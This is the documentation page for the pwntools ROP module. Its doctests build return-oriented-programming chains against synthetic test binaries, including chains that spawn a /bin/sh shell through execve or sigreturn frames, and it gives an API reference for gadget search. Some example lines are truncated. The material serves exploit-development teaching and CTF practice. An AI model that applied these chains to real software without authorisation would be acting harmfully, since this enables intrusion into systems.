pwnlib.rop.rop — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let’s create a fake binary which has some symbols which might have been useful.

>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'execve': 0xcafebabe, 'exit': 0xfeedface}

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

>>> rop = ROP(binary)

With the ROP object, you can manually add stack frames.

>>> rop.raw(0)
>>> rop.raw(unpack(b'abcd'))
>>> rop.raw(2)

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2

The ROP module is also aware of how to make function calls with standard Linux ABIs.

>>>'read', [4,5,6])
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:          b'eaaa' <return address>
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

>>> rop.write(7,8,9)
>>> rop.exit()
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:       0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014:              0x4 arg0
0x0018:              0x5 arg1
0x001c:              0x6 arg2
0x0020:          b'iaaa' <pad>
0x0024:       0xdecafbad write(7, 8, 9)
0x0028:       0x10000000 <adjust @0x3c> add esp, 0x10; ret
0x002c:              0x7 arg0
0x0030:              0x8 arg1
0x0034:              0x9 arg2
0x0038:          b'oaaa' <pad>
0x003c:       0xfeedface exit()

You can also append complex arguments onto stack when the stack pointer is known.

>>> rop = ROP(binary, base=0x7fffe000)
>>>'execve', ['/bin/sh', [['/bin/sh'], ['-p'], ['-c'], ['ls']], 0])
>>> print(rop.dump())
0x7fffe000:       0xcafebabe execve(['/bin/sh'], [['/bin/sh'], ['-p'], ['-c'], ['ls']], 0)
0x7fffe004:          b'baaa' <return address>
0x7fffe008:       0x7fffe014 arg0 (+0xc)
0x7fffe00c:       0x7fffe01c arg1 (+0x10)
0x7fffe010:              0x0 arg2
0x7fffe014:   b'/bin/sh\x00'
0x7fffe01c:       0x7fffe02c (+0x10)
0x7fffe020:       0x7fffe034 (+0x14)
0x7fffe024:       0x7fffe038 (+0x14)
0x7fffe028:       0x7fffe03c (+0x14)
0x7fffe02c:   b'/bin/sh\x00'
0x7fffe034:       b'-p\x00$'
0x7fffe038:       b'-c\x00$'
0x7fffe03c:       b'ls\x00$'

ROP also detects ‘jmp $sp’ gadget to help exploit binaries with NX disabled. You can get this gadget on ‘i386’:

>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; jmp esp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_esp
>>>, 2) == asm('jmp esp')

You can also get this gadget on ‘amd64’:

>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('nop; jmp rsp; ret')
>>> rop = ROP(elf)
>>> jmp_gadget = rop.jmp_rsp
>>>, 2) == asm('jmp rsp')

Gadgets whose address has badchar are filtered out:

>>> context.clear(arch='i386')
>>> elf = ELF.from_assembly('nop; pop eax; jmp esp; int 0x80; jmp esp; ret')
>>> rop = ROP(elf, badchars=b'\x02')
>>> jmp_gadget = rop.jmp_esp    # It returns the second gadget
>>>, 2) == asm('jmp esp')
>>> rop = ROP(elf, badchars=b'\x02\x06')
>>> rop.jmp_esp == None         # The address of both gadgets has badchar

ROP Example

Let’s assume we have a trivial binary that just reads some data onto the stack, and returns.

>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      +, 'esp', 1024)
>>> assembly += 'ret\n'

Let’s provide some simple gadgets:

>>> assembly += 'add_esp: add esp, 0x10; ret\n'

And perhaps a nice “write” function.

>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'

And a way to exit cleanly.

>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary   = ELF.from_assembly(assembly)

Finally, let’s build our ROP stack

>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print(rop.dump())
0x0000:       0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
0x0004:       0x1000000e <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 STDOUT_FILENO
0x000c:       0x10000026 flag
0x0010:              0x8 arg2
0x0014:          b'faaa' <pad>
0x0018:       0x1000002f exit()

The raw data from the ROP stack is available via str.

>>> raw_rop = rop.chain()
>>> print(enhex(raw_rop))

Let’s try it out!

>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print(repr(p.recvall(timeout=5)))
b'The flag'

ROP Example (amd64)

For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.

>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> print(rop.dump())
0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
0x0010:              0x1 [arg0] rdi = 1
0x0018:              0x2 [arg1] rsi = 2
0x0020:      b'iaaajaaa' <pad 0x20>
0x0028:      b'kaaalaaa' <pad 0x18>
0x0030:      b'maaanaaa' <pad 0x10>
0x0038:      b'oaaapaaa' <pad 0x8>
0x0040:       0x10000008 target
>>> print(rop.dump())
0x0000:       0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:              0x3 [arg2] rdx = 3
0x0010:              0x1 [arg0] rdi = 1
0x0018:              0x2 [arg1] rsi = 2
0x0020:      b'iaaajaaa' <pad 0x20>
0x0028:      b'kaaalaaa' <pad 0x18>
0x0030:      b'maaanaaa' <pad 0x10>
0x0038:      b'oaaapaaa' <pad 0x8>
0x0040:       0x10000008 target
0x0048:       0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050:              0x1 [arg0] rdi = 1
0x0058:      b'waaaxaaa' <pad rsi>
0x0060:      b'yaaazaab' <pad 0x20>
0x0068:      b'baabcaab' <pad 0x18>
0x0070:      b'daabeaab' <pad 0x10>
0x0078:      b'faabgaab' <pad 0x8>
0x0080:       0x10000008 target

Pwntools will also filter out some bad instructions while setting the registers ( e.g. syscall, int 0x80… )

>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx; ret ; pop rdi ; ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>>, [1, 2, 3])
>>> print(rop.dump())
0x0000:       0x1000000b pop rdi; ret
0x0008:              0x1 [arg0] rdi = 1
0x0010:       0x10000002 pop rdx; pop rsi; ret
0x0018:              0x3 [arg2] rdx = 3
0x0020:              0x2 [arg1] rsi = 2
0x0028:       0xdeadbeef

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a int 0x80 gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

>>> context.clear(arch='i386')
>>> c = constants
>>> assembly =  'read:'      +, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary    = ELF.from_assembly(assembly)

Let’s create a ROP object and invoke the call.

>>> context.kernel = 'amd64'
>>> rop   = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)

That’s all there is to it.

>>> print(rop.dump())
0x0000:       0x1000000e pop eax; ret
0x0004:             0x77 [arg0] eax = SYS_sigreturn
0x0008:       0x1000000b int 0x80
0x000c:              0x0 gs
0x0010:              0x0 fs
0x0014:              0x0 es
0x0018:              0x0 ds
0x001c:              0x0 edi
0x0020:              0x0 esi
0x0024:              0x0 ebp
0x0028:              0x0 esp
0x002c:       0x10000012 ebx = binsh
0x0030:              0x0 edx
0x0034:              0x0 ecx
0x0038:              0xb eax = SYS_execve
0x003c:              0x0 trapno
0x0040:              0x0 err
0x0044:       0x1000000b int 0x80
0x0048:             0x23 cs
0x004c:              0x0 eflags
0x0050:              0x0 esp_at_signal
0x0054:             0x2b ss
0x0058:              0x0 fpstate

Let’s try it out!

>>> p = process(binary.path)
>>> p.send(rop.chain())
>>> time.sleep(1)
>>> p.sendline(b'echo hello; exit')
>>> p.recvline()
class pwnlib.rop.rop.ROP(elfs, base=None, badchars='', **kwargs)[source]

Class which simplifies the generation of ROP-chains.


elf = ELF('ropasaurusrex')
rop = ROP(elf), elf.bss(0x80))
# ['0x0000:        0x80482fc (read)',
#  '0x0004:       0xdeadbeef',
#  '0x0008:              0x0',
#  '0x000c:        0x80496a8']
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
>>> context.clear(arch = "i386", kernel = 'amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols['funcname'] = e.address + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x0000:       0x10001234 funcname(1, 2)
0x0004:       0x10000003 <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 arg0
0x000c:              0x2 arg1
0x0010:          b'eaaa' <pad>
0x0014:          b'faaa' <pad>
0x0018:       0x10001234 funcname(3)
0x001c:       0x10000007 <adjust @0x24> pop eax; ret
0x0020:              0x3 arg0
0x0024:       0x10000007 pop eax; ret
0x0028:             0x77 [arg0] eax = SYS_sigreturn
0x002c:       0x10000000 int 0x80
0x0030:              0x0 gs
0x0034:              0x0 fs
0x0038:              0x0 es
0x003c:              0x0 ds
0x0040:              0x0 edi
0x0044:              0x0 esi
0x0048:              0x0 ebp
0x004c:              0x0 esp
0x0050:              0x4 ebx
0x0054:              0x6 edx
0x0058:              0x5 ecx
0x005c:              0xb eax = SYS_execve
0x0060:              0x0 trapno
0x0064:              0x0 err
0x0068:       0x10000000 int 0x80
0x006c:             0x23 cs
0x0070:              0x0 eflags
0x0074:              0x0 esp_at_signal
0x0078:             0x2b ss
0x007c:              0x0 fpstate
>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x8048000:       0x10001234 funcname(1, 2)
0x8048004:       0x10000003 <adjust @0x8048018> add esp, 0x10; ret
0x8048008:              0x1 arg0
0x804800c:              0x2 arg1
0x8048010:          b'eaaa' <pad>
0x8048014:          b'faaa' <pad>
0x8048018:       0x10001234 funcname(3)
0x804801c:       0x10000007 <adjust @0x8048024> pop eax; ret
0x8048020:              0x3 arg0
0x8048024:       0x10000007 pop eax; ret
0x8048028:             0x77 [arg0] eax = SYS_sigreturn
0x804802c:       0x10000000 int 0x80
0x8048030:              0x0 gs
0x8048034:              0x0 fs
0x8048038:              0x0 es
0x804803c:              0x0 ds
0x8048040:              0x0 edi
0x8048044:              0x0 esi
0x8048048:              0x0 ebp
0x804804c:        0x8048080 esp
0x8048050:              0x4 ebx
0x8048054:              0x6 edx
0x8048058:              0x5 ecx
0x804805c:              0xb eax = SYS_execve
0x8048060:              0x0 trapno
0x8048064:              0x0 err
0x8048068:       0x10000000 int 0x80
0x804806c:             0x23 cs
0x8048070:              0x0 eflags
0x8048074:              0x0 esp_at_signal
0x8048078:             0x2b ss
0x804807c:              0x0 fpstate
>>> elf = ELF.from_assembly('ret')
>>> r = ROP(elf)
>>> r.ret.address == 0x10000000
>>> r = ROP(elf, badchars=b'\x00')
>>> r.gadgets == {}
>>> r.ret is None
  • elfs (list) – List of ELF objects for mining
  • base (int) – Stack address where the first byte of the ROP chain lies, if known.
  • badchars (str) – Characters which should not appear in ROP gadget addresses.
build(base=None, description=None)[source]

Construct the ROP chain into a list of elements which can be passed to flat().

  • base (int) – The base address to build the rop-chain from. Defaults to base.
  • description (dict) – Optional output argument, which will gets a mapping of address: description for each address on the stack, starting at base.
call(resolvable, arguments=(), abi=None, **kwargs)[source]

Add a call to the ROP chain

  • resolvable (str,int) – Value which can be looked up via ‘resolve’, or is already an integer.
  • arguments (list) – List of arguments which can be passed to pack(). Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

Build the ROP chain

Returns:str containing raw ROP bytes
static clear_cache()[source]

Clears the ROP gadget cache


Return a description for an object in the ROP stack


Dump the ROP chain in an easy-to-read manner


Returns a gadget with the exact sequence of instructions specified in the instructions argument.

generatePadding(offset, count)[source]

Generates padding to be inserted into the ROP stack.

>>> rop = ROP([])
>>> val = rop.generatePadding(5,15)
>>> cyclic_find(val[:4])
>>> len(val)
>>> rop.generatePadding(0,0)

Explicitly set $sp, by using a leave; ret gadget


Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters:data (int/str) – The raw value to put onto the rop chain.
>>> rop = ROP([])
>>> rop.raw('AAAAAAAA')
>>> rop.raw('BBBBBBBB')
>>> rop.raw('CCCCCCCC')
>>> print(rop.dump())
0x0000:          b'AAAA' 'AAAAAAAA'
0x0004:          b'AAAA'
0x0008:          b'BBBB' 'BBBBBBBB'
0x000c:          b'BBBB'
0x0010:          b'CCCC' 'CCCCCCCC'
0x0014:          b'CCCC'

Resolves a symbol to an address

Parameters:resolvable (str,int) – Thing to convert into an address
Returns:int containing address of ‘resolvable’, or None
search(move=0, regs=None, order='size')[source]

Search for a gadget which matches the specified criteria.

  • move (int) – Minimum number of bytes by which the stack pointer is adjusted.
  • regs (list) – Minimum list of registers which are popped off the stack.
  • order (str) – Either the string ‘size’ or ‘regs’. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If order == 'size', then gadgets are compared lexicographically by (total_moves, total_regs, addr), otherwise by (total_regs, total_moves, addr).

Returns:A Gadget object
search_iter(move=None, regs=None)[source]

Iterate through all gadgets which move the stack pointer by at least move bytes, and which allow you to set all registers in regs.


Returns an list of addresses/values which will set the specified register context.

Parameters:registers (dict) – Dictionary of {register name: value}
Returns:A list of tuples, ordering the stack.

Each tuple is in the form of (value, name) where value is either a gadget address or literal value to go on the stack, and name is either a string name or other item which can be “unresolved”.


This is basically an implementation of the Set Cover Problem, which is NP-hard. This means that we will take polynomial time N**2, where N is the number of gadgets. We can reduce runtime by discarding useless and inferior gadgets ahead of time.


Inverts ‘resolve’. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

Parameters:value (int) – Address to look up
Returns:String containing the symbol name for the address, disassembly for a gadget (if there’s one at that address), or an empty string.
base = None[source]

Stack address where the first byte of the ROP chain lies, if known.

elfs = None[source]

List of ELF files which are available for mining gadgets

migrated = None[source]

Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous